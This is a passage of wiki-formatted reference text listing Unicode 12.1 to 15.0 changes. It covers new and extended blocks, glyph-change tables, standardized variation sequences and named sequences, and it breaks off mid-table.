|37C3, 3B9D, 3CFD, 3FE0, 44EC, 4A76
|6
|-
|CJK Unified Ideographs
|5344, 55B9, 6ABC, 6FF9, 809E, 80BC, 80E9, 8132, 8159, 841C, 891D, 8C6C, 915E, 9FD4
|14
|-
|Phags-pa
|A840..A877
|56
|-
|Halfwidth and Fullwidth Forms
|FF01, FF0C, FF0E, FF1A, FF1B, FF1F
|6
|-
|CJK Unified Ideographs Extension B
|200DD, 20164, 20BBF, 20C02, 20CED, 21D4C, 2278B, 23AB8, 2459B, 24A7D, 24FB9, 25ED7, 2677C, 26B4C, 26C21, 26CBE, 26E3D, 28834, 289A1, 289C0, 28A0F, 28B46
|22
|-
|CJK Unified Ideographs Extension C
|2A8FB, 2A917, 2AA30
|3
|-
|CJK Unified Ideographs Extension E
|2BA52, 2BD77, 2C494, 2C72F, 2C734, 2CB38
|6
|-
|CJK Unified Ideographs Extension F
|2D23B, 2E83A
|2
|-
! colspan=&quot;2&quot; |Total
!192
|}

===Variation Sequences===
Here is a table with new standardized variation sequences:
{| class=&quot;wikitable mw-collapsible mw-collapsed&quot;
|-
!Character Sequence
!Context
!Description of Variation Appearance
|-
|3001 FE00
|
|corner-justified form # IDEOGRAPHIC COMMA
|-
|3001 FE01
|
|centered form # IDEOGRAPHIC COMMA
|-
|3002 FE00
|
|corner-justified form # IDEOGRAPHIC FULL STOP
|-
|3002 FE01
|
|centered form # IDEOGRAPHIC FULL STOP
|-
|FF01 FE00
|
|corner-justified form # FULLWIDTH EXCLAMATION MARK
|-
|FF01 FE01
|
|centered form # FULLWIDTH EXCLAMATION MARK
|-
|FF0C FE00
|
|corner-justified form # FULLWIDTH COMMA
|-
|FF0C FE01
|
|centered form # FULLWIDTH COMMA
|-
|FF0E FE00
|
|corner-justified form # FULLWIDTH FULL STOP
|-
|FF0E FE01
|
|centered form # FULLWIDTH FULL STOP
|-
|FF1A FE00
|
|corner-justified form # FULLWIDTH COLON
|-
|FF1A FE01
|
|centered form # FULLWIDTH COLON
|-
|FF1B FE00
|
|corner-justified form # FULLWIDTH SEMICOLON
|-
|FF1B FE01
|
|centered form # FULLWIDTH SEMICOLON
|-
|FF1F FE00
|
|corner-justified form # FULLWIDTH QUESTION MARK
|-
|FF1F FE01
|
|centered form # FULLWIDTH QUESTION MARK
|}

== Unicode 12.1 ==

Unicode 12.1 was released on May 7, 2019. It encoded 137,929 characters, adding only 1 new character.

=== Extended blocks ===
* A square era name Reiwa (total 1 character) was added to '''Enclosed CJK Letters and Months'''. (U+32FF)

== Unicode 13.0 ==

Unicode 13.0 was released on March 10, 2020. It encoded 143,859 characters, adding 5,930 new characters.

=== New blocks ===

* '''Yezidi''' (U+10E80-U+10EBF), containing 47 characters, was added.
* '''Chorasmian''' (U+10FB0-U+10FDF), containing 28 characters, was added.
* '''Dives Akuru''' (U+11900-U+1195F), containing 72 characters, was added.
* '''Lisu Supplement''' (U+11FB0-U+11FBF), containing 1 character, was added.
* '''Khitan Small Script''' (U+18B00-U+18CFF), containing 470 characters, was added.
* '''Tangut Supplement''' (U+18D00-U+18D08), containing 9 characters, was added.
* '''Symbols for Legacy Computing''' (U+1FB00-U+1FBFF), containing 212 characters, was added.
* '''CJK Unified Ideographs Extension G''' (U+30000-U+3134F), containing 4939 characters, was added.

=== Extended blocks ===

* Letters for African languages and Punjabi (total 10 characters) were added to '''Arabic Extended-A'''. (U+08BE-U+08C7)
* A sign Overline (total 1 character) was added to '''Oriya'''. (U+0B55)
* A Vedic Anusvara (total 1 character) was added to '''Malayalam'''. (U+0D04)
* A sign Candrabindu (total 1 character) was added to '''Sinhala'''. (U+0D81)
* Combining diacritical marks for Scottish phonology (total 2 characters) were added to '''Combining Diacritical Marks Extended'''. (U+1ABF-U+1AC0)
* A Japanese symbol for Type A Electronics (total 1 character) was added to '''Miscellaneous Symbols and Arrows'''. (U+2B97)
* Cross patties and a Tironian sign Capita Et (total 3 characters) were added to '''Supplemental Punctuation'''. (U+2E50-U+2E52)
* Letters for Taiwan and Cantonese language (total 5 characters) were added to '''Bopomofo Extended'''. (U+31BB-U+31BF)
* Some disunified ideographs (total 10 characters) were added to '''CJK Unified Ideographs Extension A'''. (U+4DB6-4DBF)
* Some ideographs for China (total 13 characters) were added to '''CJK Unified Ideographs'''. (U+9FF0-U+9FFC)
* Letters for Gaulish (total 6 characters) were added to '''Latin Extended-D'''. (U+A7C7-U+A7CA and U+A7F5-U+A7F6)
* An alternate sign Nasanta (total 1 character) was added to '''Syloti Nagri'''. (U+A82C)
* Letter R With Midle Tilde and modifier letters for Scottish phonology (total 4 characters) were added to '''Latin Extended-E'''. (U+AB68-U+AB6B)
* A symbol Ascia (total 1 character) was added to '''Ancient Symbols'''. (U+1019C)
* A letter for Pali (total 1 character) was added to '''Chakma'''. (U+11147)
* A vowel sign Prishthamatra E and Inverted Candrabindu (total 2 characters) were added to '''Sharada'''. (U+111CE and U+111CF)
* Double comma, sign Jihvamuliya and Uphadhmaniya (total 3 characters) were added to '''Newa'''. (U+1145A and U+11460-U+11461)
* Khitan Small Script Filler and reading marks for Vietnamese (total 3 characters) were added to '''Ideographic Symbols and Punctuation'''. (U+16FE4 and U+16FF0-U+16FF1)
* Some additional components (total 13 characters) were added to '''Tangut Components'''. (U+18AF3-U+18AFF)
* Creative Commons license symbols and Mask Work symbol (total 7 characters) were added to '''Enclosed Alphanumeric Supplement'''. (U+1F10D-U+1F10F, U+1F16D-1F16F and U+1F1AD)
* Hut, Elevator, Pickup Truck and Roller Skate emoji (total 4 characters) were added to '''Transportation and Map Symbols'''. (U+1F6D6-U+1F6D7 and U+1F6FB-U+1F6FC)
* Arrows for legacy computing (total 2 characters) were added to '''Supplemental Arrows-C'''. (U+1F8B0-U+1F8B1)
* (total 10 characters) were added to '''Supplemental Symbols and Pictographs'''. (U+1F90C, U+1F972, U+1F977-U+1F978, U+1F9A3-U+1F9A4, U+1F9AB-U+1F9AD and U+1F9CB)
* (total 41 characters) were added to '''Symbols and Pictographs Extended-A'''. (U+1FA74, U+1FA83-U+1FA86, U+1FA96-U+1FAA8, U+1FAB0-U+1FAB6, U+1FAC0-U+1FAC2 and U+1FAD0-U+1FAD6)
* Gongche characters for Kunqu Opera (total 7 characters) were added to '''CJK Unified Ideographs Extension B'''. (U+2A6D7-U+2A6DD)

=== Glyph Changes ===
Here is a table with glyph changes:
{| class=&quot;wikitable mw-collapsible mw-collapsed&quot;
!Block Name
!Code Points
!Count
|-
|Tagalog
|1700..170C, 170E..1714
|20
|-
|Mongolian
|1834, 1871, 1878
|3
|-
|Sundanese
|1BAB
|1
|-
|Currency Symbols
|20BF
|1
|-
|CJK Radicals Supplement
|2E80..2E99, 2E9B..2EF3
|115
|-
|Kangxi Radicals
|2F00..2FD5
|214
|-
|CJK Unified Ideographs Extension A
|3472, 38C7, 3DB8, 3FE0, 440B, 46E9
|6
|-
|CJK Unified Ideographs
|53FD, 6146, 6711, 671C, 6721, 6725, 6BD2, 7B9A, 87CE, 8956, 93BF, 9B97
|12
|-
|Latin Extended-D
|A764..A765
|2
|-
|Phags-pa
|A86D
|1
|-
|Tangut
|175F6, 17F0D, 17F8A, 17FA5, 180D6, 18139, 18147, 184F1, 18736
|9
|-
|Tangut Components
|18843, 18856, 1888C, 1890A, 18915, 1893B
|6
|-
|Adlam
|1E900..1E94A, 1E950..1E959, 1E95E..1E95F
|71
|-
|Miscellaneous Symbols and Pictographs
|1F3B1
|1
|-
|Supplemental Symbols and Pictographs
|1F995..1F998, 1F99B..1F99E, 1F9B0..1F9B3, 1F9E7
|13
|-
|CJK Unified Ideographs Extension B
|20219, 21249, 21827, 22C3A, 2327B, 23496, 2355E, 2363B, 236ED, 23839, 23FD5, 24261, 24726, 248F2, 2548E, 26657, 26C9E, 26FE1, 27334, 27C0E, 27CEF, 2A38C
|22
|-
|CJK Unified Ideographs Extension C
|2AED5, 2AEF3, 2AF76, 2B09F, 2B1C3, 2B1E5
|6
|-
|CJK Unified Ideographs Extension E
|2B83C, 2B8D9..2B8DA, 2B96F, 2BBD7, 2BD61, 2BE4A, 2BF1D, 2BF9D, 2C0B8, 2C142, 2C176, 2C316, 2C3FB, 2C402, 2C7AC, 2C82C, 2C83A, 2C9A1, 2CC88, 2CD68
|21
|-
|CJK Unified Ideographs Extension F
|2DC09, 2DE4A, 2EB7E, 2EB89
|4
|-
|CJK Compatibility Ideographs Supplement
|2F83B, 2F878, 2F8D6..2F8D7, 2F8DA, 2F8F0, 2F984, 2FA02
|8
|-
! colspan=&quot;2&quot; |Total
!536
|}

== Unicode 14.0 ==

Unicode 14.0 was released on September 14, 2021. It encoded 144,697 characters, adding 838 new characters.

=== New blocks ===

* '''Arabic Extended-B''' (U+0870-U+089F), containing 41 characters, was added.
* '''Vithkuqi''' (U+10570-U+105BF), containing 70 characters, was added.
* '''Latin Extended-F''' (U+10780-U+107BF), containing 57 characters, was added.
* '''Old Uyghur''' (U+10F70-U+10FAF), containing 26 characters, was added.
* '''Unified Canadian Aboriginal Syllabics Extended-A''' (U+11AB0-U+11ABF), containing 16 characters, was added.
* '''Cypro-Minoan''' (U+12F90-U+12FFF), containing 99 characters, was added.
* '''Tangsa''' (U+16A70-U+16ACF), containing 89 characters, was added.
* '''Kana Extended-B''' (U+1AFF0-U+1AFFF), containing 13 characters, was added.
* '''Znamenny Musical Notation''' (U+1CF00-U+1CFFF), containing 185 characters, was added.
* '''Latin Extended-G''' (U+1DF00-U+1DFFF), containing 31 characters, was added.
* '''Toto''' (U+1E290-U+1E2BF), containing 31 characters, was added.
* '''Ethiopic Extended-B''' (U+1E7E0-U+1E7FF), containing 28 characters, was added.

=== Extended blocks ===

* An End of Text punctuation mark (total 1 character) was added to '''Arabic'''. (U+061D)
* Letters for Balti and Quranic orthography (total 12 characters) were added to '''Arabic Extended-A'''. (U+08B5 and U+08C8-U+08D2)
* A sign Nukta and letter Nakaara Pollu (total 2 characters) were added to '''Telugu'''. (U+0C3C and U+0C5D)
* A letter Nakaara Pollu (total 1 character) was added to '''Kannada'''. (U+0CDD)
* A letter Ra, sign Pamudpod and archaic letter Ra (total 3 characters) were added to '''Tagalog'''. (U+170D, U+1715 and U+171F)
* A fourth Free variation selector (total 1 character) was added to '''Mongolian'''. (U+180F)
* Combining diacritical marks for extended IPA (total 14 characters) were added to '''Combining Diacritical Marks Extended'''. (U+1AC1-U+1ACE)
* An archaic ligature Jnya and punctuation marks (total 3 characters) were added to '''Balinese'''. (U+1B4C and U+1B7D-U+1B7E)
* A combining Dot Below Left (total 1 character) was added to '''Combining Diacritical Marks Supplement'''. (U+1DFA)
* A Kyrgyz Som sign (total 1 character) was added to '''Currency Symbols'''. (U+20C0)
* A letter Caudate Chrivi (total 2 characters) were added to '''Glagolitic'''. (U+2C2F and U+2C5F)
* Medieval and phonetic punctuation marks (total 11 characters) were added to '''Supplemental Punctuation'''. (U+2E53-U+2E5D)
* Some ideographs for Macao (total 3 characters) were added to '''CJK Unified Ideographs'''. (U+9FFD-U+9FFF)
* Archaic European letters, modifier letters for Sokuon and Chatino orthography (total 13 characters) were added to '''Latin Extended-D'''. (U+A7C0-U+A7C1, U+A7D0-U+A7D1, U+A7D3, U+A7D5, U+A7D6-U+A7D9 and U+A7F2-U+A7F4)
* A modifier letter Wasla Above and honorifics (total 20 characters) were added to '''Arabic Presentation Forms-A'''. (U+FBC2, U+FD40-U+FD4F, U+FDCF and U+FDFE-U+FDFF)
* Letters for Old Tamil (total 6 characters) were added to '''Brahmi'''. (U+11070-U+11075)
* A vowel sign Vocalic R (total 1 character) was added to '''Khaiti'''. (U+110C2)
* An Abbreviation sign (total 1 character) was added to '''Takri'''. (U+116B9)
* Letters for Tai Ahom (total 7 characters) were added to '''Ahom'''. (U+11740-U+11746) The block was expanded from (U+11700-U+1173F) to (U+11700-U+1174F)
* Kana archaic letters (total 4 characters) were added to '''Kana Extended-A'''. (U+1B11F-U+1B122)
* Accidental symbols for Iranian classical music (total 2 characters) were added to '''Musical Symbols'''. (U+1D1E9-U+1D1EA)
* Playground Slide, Wheel and Ring Buoy emoji (total 3 characters) were added to '''Transportation and Map Symbols'''. (U+1F6DD-U+1F6DF)
* A Heavy Equals Sign emoji (total 1 character) was added to '''Geometric Shapes Extended'''. (U+1F7F0)
* A Troll and Face Holding Back Tears emoji (total 2 characters) were added to '''Supplemental Symbols and Pictographs'''. (U+1F979 and U+1F9CC)
* (total 31 characters) were added to '''Symbols and Pictographs Extended-A'''. (U+1FA7B-U+1FA7C, U+1FAA9-U+1FAAC, U+1FAB7-U+1FABA, U+1FAC3-U+1FAC5, U+1FAD7-U+1FAD9, U+1FAE0-U+1FAE7 and U+1FAF0-U+1FAF6)
* Some ideographs for Macao (total 2 characters) were added to '''CJK Unified Ideographs Extension B'''. (U+2A6DE-U+2A6DF)
* Disunified ideographs and a G source ideograph for China, Hong Kong and Vietnam (total 4 characters) were added to '''CJK Unified Ideographs Extension C'''. (U+2B735-U+2B738)

=== Glyph Changes ===
Here is a table with glyph changes:
{| class=&quot;wikitable mw-collapsible mw-collapsed&quot;
!Block Name
!Code Points
!Count
|-
|Latin Extended-B
|0184..0185
|2
|-
|Arabic
|0674..0678, 06C5, 06C7, 06FE
|8
|-
|Letterlike Symbols
|210B, 2110, 2112, 211B, 212C, 2130..2131, 2133
|8
|-
|Enclosed Alphanumerics
|2460..24FF
|160
|-
|Dingbats
|2776..2793
|30
|-
|CJK Symbols and Punctuation
|3001..3029, 3030..303D, 303F
|56
|-
|CJK Strokes
|31C0..31E3
|36
|-
|Katakana Phonetic Extensions
|31F0..31FF
|16
|-
|Enclosed CJK Letters and Months
|3200..321E, 3220..32FF
|255
|-
|CJK Compatibiity
|3300..33FF
|256
|-
|CJK Unified Ideographs Extension A
|3777, 3B3F
|2
|-
|CJK Unified Ideographs
|5DD5, 652C, 6AC0
|3
|-
|Arabic Presentation Forms-A
|FBD7..FBD8, FBDD, FBE0..FBE1
|5
|-
|Vertical Forms
|FE10..FE19
|10
|-
|CJK Compatibiity Forms
|FE30..FE4F
|32
|-
|Small Form Variants
|FE50..FE52, FE54..FE66, FE68..FE6B
|26
|-
|Halfwidth and Fullwidth Forms
|FF01..FF9F, FFA1..FFBE, FFC2..FFC7, FFCA..FFCF, FFD2..FFD7, FFDA..FFDC, FFE0..FFE6, FFE8..FFEE
|225
|-
|Egyptian Hieroglyphs
|1300A, 13017, 1302D, 13032, 13034..13035, 13037..13038, 1303A..1303E, 1304E..1304F, 13055, 13057, 13068, 1309A, 130D2, 130D5, 130F6, 130FE, 13192, 1325F, 13267, 1326A, 13281, 13297, 1329E, 132B4, 132C1, 132E6, 13304, 1331F, 13378..1337B, 1337D..1337E, 133F3, 133FA..13403, 1340D, 13417, 1342B
|55
|-
|Mathematical Alphanumeric Symbols
|1D49C, 1D49E..1D49F, 1D4A2, 1D4A5..1D4A6, 1D4A9..1D4AC, 1D4AE..1D4B5
|18
|-
|Enclosed Alphanumeric Supplement
|1F100..1F1AD, 1F1E6..1F1FF
|200
|-
|Enclosed Ideographic Supplement
|1F200..1F202, 1F210..1F23B, 1F240..1F248, 1F250..1F251, 1F260..1F265
|64
|-
|Supplemental Symbols and Pictographs
|1F930
|1
|-
|CJK Unified Ideographs Extension B
|22ADC, 230F2, 25B27, 26F28
|4
|-
! colspan=&quot;2&quot; |Total
!1472
|}

===Variation Sequences===
Here is a table with new standardized variation sequences:
{| class=&quot;wikitable mw-collapsible mw-collapsed&quot;
|-
!Character Sequence
!Context
!Description of Variation Appearance
|-
|1D49C FE00
|
|chancery style # MATHEMATICAL SCRIPT CAPITAL A
|-
|212C FE00
|
|chancery style # SCRIPT CAPITAL B
|-
|1D49E FE00
|
|chancery style # MATHEMATICAL SCRIPT CAPITAL C
|-
|1D49F FE00
|
|chancery style # MATHEMATICAL SCRIPT CAPITAL D
|-
|2130 FE00
|
|chancery style # SCRIPT CAPITAL E
|-
|2131 FE00
|
|chancery style # SCRIPT CAPITAL F
|-
|1D4A2 FE00
|
|chancery style # MATHEMATICAL SCRIPT CAPITAL G
|-
|210B FE00
|
|chancery style # SCRIPT CAPITAL H
|-
|2110 FE00
|
|chancery style # SCRIPT CAPITAL I
|-
|1D4A5 FE00
|
|chancery style # MATHEMATICAL SCRIPT CAPITAL J
|-
|1D4A6 FE00
|
|chancery style # MATHEMATICAL SCRIPT CAPITAL K
|-
|2112 FE00
|
|chancery style # SCRIPT CAPITAL L
|-
|2133 FE00
|
|chancery style # SCRIPT CAPITAL M
|-
|1D4A9 FE00
|
|chancery style # MATHEMATICAL SCRIPT CAPITAL N
|-
|1D4AA FE00
|
|chancery style # MATHEMATICAL SCRIPT CAPITAL O
|-
|1D4AB FE00
|
|chancery style # MATHEMATICAL SCRIPT CAPITAL P
|-
|1D4AC FE00
|
|chancery style # MATHEMATICAL SCRIPT CAPITAL Q
|-
|211B FE00
|
|chancery style # SCRIPT CAPITAL R
|-
|1D4AE FE00
|
|chancery style # MATHEMATICAL SCRIPT CAPITAL S
|-
|1D4AF FE00
|
|chancery style # MATHEMATICAL SCRIPT CAPITAL T
|-
|1D4B0 FE00
|
|chancery style # MATHEMATICAL SCRIPT CAPITAL U
|-
|1D4B1 FE00
|
|chancery style # MATHEMATICAL SCRIPT CAPITAL V
|-
|1D4B2 FE00
|
|chancery style # MATHEMATICAL SCRIPT CAPITAL W
|-
|1D4B3 FE00
|
|chancery style # MATHEMATICAL SCRIPT CAPITAL X
|-
|1D4B4 FE00
|
|chancery style # MATHEMATICAL SCRIPT CAPITAL Y
|-
|1D4B5 FE00
|
|chancery style # MATHEMATICAL SCRIPT CAPITAL Z
|-
|1D49C FE01
|
|roundhand style # MATHEMATICAL SCRIPT CAPITAL A
|-
|212C FE01
|
|roundhand style # SCRIPT CAPITAL B
|-
|1D49E FE01
|
|roundhand style # MATHEMATICAL SCRIPT CAPITAL C
|-
|1D49F FE01
|
|roundhand style # MATHEMATICAL SCRIPT CAPITAL D
|-
|2130 FE01
|
|roundhand style # SCRIPT CAPITAL E
|-
|2131 FE01
|
|roundhand style # SCRIPT CAPITAL F
|-
|1D4A2 FE01
|
|roundhand style # MATHEMATICAL SCRIPT CAPITAL G
|-
|210B FE01
|
|roundhand style # SCRIPT CAPITAL H
|-
|2110 FE01
|
|roundhand style # SCRIPT CAPITAL I
|-
|1D4A5 FE01
|
|roundhand style # MATHEMATICAL SCRIPT CAPITAL J
|-
|1D4A6 FE01
|
|roundhand style # MATHEMATICAL SCRIPT CAPITAL K
|-
|2112 FE01
|
|roundhand style # SCRIPT CAPITAL L
|-
|2133 FE01
|
|roundhand style # SCRIPT CAPITAL M
|-
|1D4A9 FE01
|
|roundhand style # MATHEMATICAL SCRIPT CAPITAL N
|-
|1D4AA FE01
|
|roundhand style # MATHEMATICAL SCRIPT CAPITAL O
|-
|1D4AB FE01
|
|roundhand style # MATHEMATICAL SCRIPT CAPITAL P
|-
|1D4AC FE01
|
|roundhand style # MATHEMATICAL SCRIPT CAPITAL Q
|-
|211B FE01
|
|roundhand style # SCRIPT CAPITAL R
|-
|1D4AE FE01
|
|roundhand style # MATHEMATICAL SCRIPT CAPITAL S
|-
|1D4AF FE01
|
|roundhand style # MATHEMATICAL SCRIPT CAPITAL T
|-
|1D4B0 FE01
|
|roundhand style # MATHEMATICAL SCRIPT CAPITAL U
|-
|1D4B1 FE01
|
|roundhand style # MATHEMATICAL SCRIPT CAPITAL V
|-
|1D4B2 FE01
|
|roundhand style # MATHEMATICAL SCRIPT CAPITAL W
|-
|1D4B3 FE01
|
|roundhand style # MATHEMATICAL SCRIPT CAPITAL X
|-
|1D4B4 FE01
|
|roundhand style # MATHEMATICAL SCRIPT CAPITAL Y
|-
|1D4B5 FE01
|
|roundhand style # MATHEMATICAL SCRIPT CAPITAL Z
|}

===Named Sequences===
Here is a table with new named character sequences:
{| class=&quot;wikitable mw-collapsible mw-collapsed&quot;
|-
!Character Sequence
!Name
|-
|0915 093C
|DEVANAGARI SEQUENCE FOR LETTER QA
|-
|0916 093C
|DEVANAGARI SEQUENCE FOR LETTER KHHA
|-
|0917 093C
|DEVANAGARI SEQUENCE FOR LETTER GHHA
|-
|091C 093C
|DEVANAGARI SEQUENCE FOR LETTER ZA
|-
|0921 093C
|DEVANAGARI SEQUENCE FOR LETTER DDDHA
|-
|0922 093C
|DEVANAGARI SEQUENCE FOR LETTER RHA
|-
|092B 093C
|DEVANAGARI SEQUENCE FOR LETTER FA
|-
|092F 093C
|DEVANAGARI SEQUENCE FOR LETTER YYA
|-
|09A1 09BC
|BENGALI SEQUENCE FOR LETTER RRA
|-
|09A2 09BC
|BENGALI SEQUENCE FOR LETTER RHA
|-
|09AF 09BC
|BENGALI SEQUENCE FOR LETTER YYA
|-
|0A32 0A3C
|GURMUKHI SEQUENCE FOR LETTER LLA
|-
|0A38 0A3C
|GURMUKHI SEQUENCE FOR LETTER SHA
|-
|0A16 0A3C
|GURMUKHI SEQUENCE FOR LETTER KHHA
|-
|0A17 0A3C
|GURMUKHI SEQUENCE FOR LETTER GHHA
|-
|0A1C 0A3C
|GURMUKHI SEQUENCE FOR LETTER ZA
|-
|0A2B 0A3C
|GURMUKHI SEQUENCE FOR LETTER FA
|-
|0B21 0B3C
|ORIYA SEQUENCE FOR LETTER RRA
|-
|0B22 0B3C
|ORIYA SEQUENCE FOR LETTER RHA
|}

== Unicode 15.0 ==

Unicode 15.0 was released on September 13, 2022. It encoded 149,186 characters, adding 4,489 new characters.

=== New blocks ===

* '''Arabic Extended-C''' (U+10EC0-U+10EFF), containing 3 characters, was added.
* '''Devanagari Extended-A''' (U+11B00-U+11B5F), containing 10 characters, was added.
* '''Kawi''' (U+11F00-U+11F5F), containing 86 characters, was added.
* '''Kaktovik Numerals''' (U+1D2C0-U+1D2DF), containing 20 characters, was added.
* '''Cyrillic Extended-D''' (U+1E030-U+1E08F), containing 63 characters, was added.
* '''Nag Mundari''' (U+1E4D0-U+1E4FF), containing 42 characters, was added.
* '''CJK Unified Ideographs Extension H''' (U+31350-U+323AF), containing 4192 characters, was added.

=== Extended blocks ===

* A Yamakkan (total 1 character) was added to '''Lao'''. (U+0ECE)
* A combining Anusvara Above Right (total 1 character) was added to '''Kannada'''. (U+0CF3)
* Letters Qa, Short I and Vocalic R (total 3 characters) were added to '''Khojki'''. (U+1123F-U+11241)
* An additional hieroglyph to Group V (total 1 character) was added to '''Egyptian Hieroglyphs'''
* Extended format controls (total 29 characters) were added to '''Egyptian Hieroglyph Format Controls'''. (U+13439-U+13455). The block was expanded from (U+13430-U+1343F) to (U+13430-U+1345F)
* Hiragana and Katakana Small Ko (total 2 characters) were added to '''Small Kana Extension'''. (U+1B132 and U+1B155)
* Letters for Malayalam transliteration (total 6 characters) were added to '''Latin Extended-G'''. (U+1DF25-U+1DF2A)
* A Wireless emoji (total 1 character) was added to '''Transport and Map Symbols'''. (U+1F6DC)
* A Nine Pointed White Star (total 1 character) was be added to '''Geometric Shapes Extended'''. (U+1F7D9)
* A Lot of Fortune, eclipse symbols and symbols for dwarf planets (total 6 characters) were added to '''Alchemical symbols'''. (U+1F774-U+1F776 and U+1F77B-U+1F77F)
* (total 20 characters) were added to '''Symbols and Pictographs Extended-A'''. (U+1FA75-U+1FA77, U+1FA87-U+1FA88, U+1FAAD-U+1FAAF, U+1FABB-U+1FABF, U+1FACE-U+1FACF, U+1FADA-U+1FADB, U+1FAE8 and U+1FAF7-U+1FAF8)
* A disunified ideograph for Macao (total 1 character) was added to '''CJK Unified Ideographs Extension C'''. (U+2B739)

===Glyph Changes===

Here is a table with glyph changes:
{| class=&quot;wikitable mw-collapsible mw-collapsed&quot;
!Block Name
!Code Points
!Count
|-
|IPA Extensions
|025E, 029A
|2
|-
|United Canadian Aboriginal Syllabics
|144B, 14D1, 1506, 15C0..15C3, 15E8..15EE, 1601, 1604..1607, 160A..160D, 1614..162D, 1630..163F, 1646..1647, 165A
|66
|-
|United Canadian Aboriginal Syllabics Extended
|18DB, 18EC, 18F1..18F2, 18F5
|5
|-
|Sundanese
|1BBF
|1
|-
|Optical Character Recognition
|2447
|1
|-
|CJK Unified Ideographs Extension A
|34DC, 3BF6, 3C43, 48B4, 4DBE
|5
|-
|CJK Unified Ideographs
|585F, 5F50, 6BC0, 7BC9, 833E
|5
|-
|Cyrillic Extended-B
|A66E
|1
|-
|Old Turkic
|10C47
|1
|-
|Egyptian Hieroglyphs
|various (new standardized variation sequences)
|94
|-
|Khitan Small Script
|18CCA
|1
|-
|Wancho (font update)
|1E2C0..1E2F9, 1E2FF
|59
|-
|Alchemical Symbols (font update)
|1F700..1F773
|116
|-
|CJK Unified Ideographs Extension B
|20048, 20A1C, 2143F, 21A5F, 21C08, 21FBA, 22ACF, 23392, 238A7, 23D8F, 23F4E, 25D20, 26E30, 27B48, 27C4F, 28633, 28B02, 28E9A, 29760, 2A60F
|20
|-
|CJK Unified Ideographs Extension C
|2B249
|1
|-
|CJK Unified Ideographs Extension E
|2BB37, 2BD7D, 2C151, 2C1E0, 2C2D6, 2C5CA, 2C810, 2CD34
|8
|-
|CJK Unified Ideographs Extension F
|2CF4E, 2D25D, 2D3EC, 2D6A7, 2D7BA, 2D979, 2DA74, 2DA97, 2DC13, 2DDC0, 2DF10, 2DF78, 2E05A, 2E0AE, 2E516, 2E640, 2E680, 2EA63
|18
|-
|CJK Compatibility Ideographs Supplement
|2F804, 2F805, 2F833, 2F835, 2F84C, 2F84F, 2F852, 2F855, 2F887, 2F88B, 2F899, 2F8A0, 2F8A6, 2F8A7, 2F8AD, 2F8B1, 2F8B4, 2F8B7, 2F8BA, 2F8D0, 2F8E0..2F8E2, 2F8E5, 2F8E6, 2F8FE, 2F900, 2F901, 2F907, 2F912, 2F922, 2F926, 2F936, 2F938, 2F94E, 2F959, 2F95F, 2F96C, 2F99F, 2F9B8, 2F9BA, 2F9D3, 2F9DB, 2F9DC, 2F9E8, 2F9EA, 2F9EE, 2FA00, 2FA0D, 2FA1B
|50
|-
|CJK Unified Ideographs Extension G
|302FC, 30723, 30A6D, 30CF7, 30DBF, 31006, 3105D
|7
|-
! colspan=&quot;2&quot; |Total
!461
|}

===Variation Sequences===
Here is a table with new standardized variation sequences:
{| class=&quot;wikitable mw-collapsible mw-collapsed&quot;
|-
!Character Sequence
!Context
!Description of Variation Appearance
|-
|13091 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH D027
|-
|13092 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH D027A
|-
|13093 FE01
|
|rotated 180 degrees # EGYPTIAN HIEROGLYPH D028
|-
|130A9 FE01
|
|rotated 180 degrees # EGYPTIAN HIEROGLYPH D047
|-
|1310F FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH F016
|-
|13117 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH F023
|-
|1311C FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH F028
|-
|13121 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH F032
|-
|13127 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH F037A
|-
|13139 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH F051
|-
|13139 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH F051
|-
|13183 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH H005
|-
|13187 FE01
|
|rotated 180 degrees # EGYPTIAN HIEROGLYPH H008
|-
|131A0 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH K006
|-
|131A0 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH K006
|-
|131B1 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH M003
|-
|131B1 FE01
|
|rotated 180 degrees # EGYPTIAN HIEROGLYPH M003
|-
|131B8 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH M009
|-
|131B9 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH M010
|-
|131BA FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH M010A
|-
|131CB FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH M017
|-
|131EE FE01
|
|rotated 180 degrees # EGYPTIAN HIEROGLYPH M044
|-
|131EE FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH M044
|-
|131F8 FE01
|
|rotated 180 degrees # EGYPTIAN HIEROGLYPH N010
|-
|131F9 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH N011
|-
|131F9 FE01
|
|rotated 180 degrees # EGYPTIAN HIEROGLYPH N011
|-
|131FA FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH N012
|-
|131FA FE01
|
|rotated 180 degrees # EGYPTIAN HIEROGLYPH N012
|-
|13216 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH N035
|-
|13257 FE01
|
|rotated 180 degrees # EGYPTIAN HIEROGLYPH O006
|-
|1327B FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH O029
|-
|1327F FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH O031
|-
|1327F FE01
|
|rotated 180 degrees # EGYPTIAN HIEROGLYPH O031
|-
|13285 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH O036
|-
|1328C FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH O039
|-
|132A4 FE01
|
|rotated 180 degrees # EGYPTIAN HIEROGLYPH P008
|-
|132A4 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH P008
|-
|132AA FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH Q003
|-
|132CB FE00
|
